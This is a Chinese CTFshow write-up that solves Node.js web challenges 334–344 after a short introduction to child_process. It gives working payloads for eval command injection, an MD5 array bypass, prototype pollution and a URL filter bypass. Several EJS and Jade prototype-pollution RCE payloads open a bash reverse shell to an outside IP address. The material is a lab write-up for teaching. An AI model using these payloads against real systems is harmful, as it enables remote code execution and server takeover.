CTFshowNodejs

nodejs

首先要知道nodejs是啥,其实就是javascript的后端版本

一些有的没的的入门知识

nodejs一些入门特性&&实战

nodejs调用系统命令的方式

如果你要是使用nodejs,你需要调用引用child_process模块:

var exec = require('child_process').exec;
var cmd = 'prince -v builds/pdf/book.html -o builds/pdf/book.pdf';

exec(cmd, function(error, stdout, stderr) {
  // 获取命令执行的输出
});

这里使用的是child_process.exec来在nodejs程序里执行系统命令。如果你想在shell里执行命令并且要处理命令输出的I/O数据流,输出的体积比较大的话,我们需要使用child_process.spawn

var spawn = require('child_process').spawn;
var child = spawn('prince', [
  '-v', 'builds/pdf/book.html',
  '-o', 'builds/pdf/book.pdf'
]);

child.stdout.on('data', function(chunk) {
  // output will be here in chunks
});

// or if you want to send output elsewhere
child.stdout.pipe(dest);

如果你想在nodejs里执行的是一个文件,而不是一个简单的命令,那你就需要使用child_process.execFile,这个方法的参数几乎和spawn一样,只是多了第四个回调函数参数,和exec里的回调函数参数一样:

var execFile = require('child_process').execFile;
execFile(file, args, options, function(error, stdout, stderr) {
  // command output is in stdout
});

上面的这些方法在nodejs里都是异步执行的,到但有时候我们需要同步执行一些任务,下面的一些代码例子是使用同步的方法调用系统命令执行任务:

'use strict';

const
    spawn = require( 'child_process' ).spawnSync,
    ls = spawn( 'ls', [ '-lh', '/usr' ] );

console.log( `stderr: ${ls.stderr.toString()}` );
console.log( `stdout: ${ls.stdout.toString()}` );
const execSync = require('child_process').execSync;

var cmd = execSync('prince -v builds/pdf/book.html -o builds/pdf/book.pdf');

简单来说,调用系统命令传入的方法是

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

334

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

直接小写就行ctfshow+123456

335

看源代码发现eval参数,尝试传入ls回显未找到文件,传入1+1回显2,怀疑执行了nodejs中的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造一个系统命令执行的payload

require("child_process").execSync('ls')

拿到文件名直接cat就行

336

同上题不过增加了过滤

换一个方法

require('child_process').spawnSync('ls', []).stdout.toString()

337

源码在此

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

要求就是传入的ab长度相等,内容不想等,加上flag字符串变量后md5运算的结果相同

在javascript中加法的规则很简单,只能数字与数字相加或字符串和字符串相加;所有其他类型的值都会自动转换成这两个类型的值。而对象类型经过toString转换后结果为[object Object]字符串

所以最终传入两个数组即可

payload:?a[x]=1&b[x]=2

为啥数组的键值不能是数字

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}

338

原型链污染

//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
module.exports = router;

utils.copy(user,req.body);这个和merge差不多

payload:
POST
{"__proto__":{"ctfshow":"36dboy"}}

339

//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});
module.exports = router;

这要让ctfshow=flag变量,我不行捏,看看旁边的app.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});
module.exports = router;
  • Function(“console.log(‘HelloWolrd’)”)()

类似于php中的create_function

对于ejs渲染引擎来说,对opts有原型链污染漏洞

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

这里我们就可以污染outputFunctionName来执行恶意代码

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}

通过login污染再通过api渲染调用

340

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
});
module.exports = router;

这里要向上污染两层才行,其他的都和上面一样

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}

341

没有api了,直接ejs的rce

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}

342,343

不是ejs渲染模版了

是jade渲染模版,找jade的原型链污染rce

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"')"}}}

344

源码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }
});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。

payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。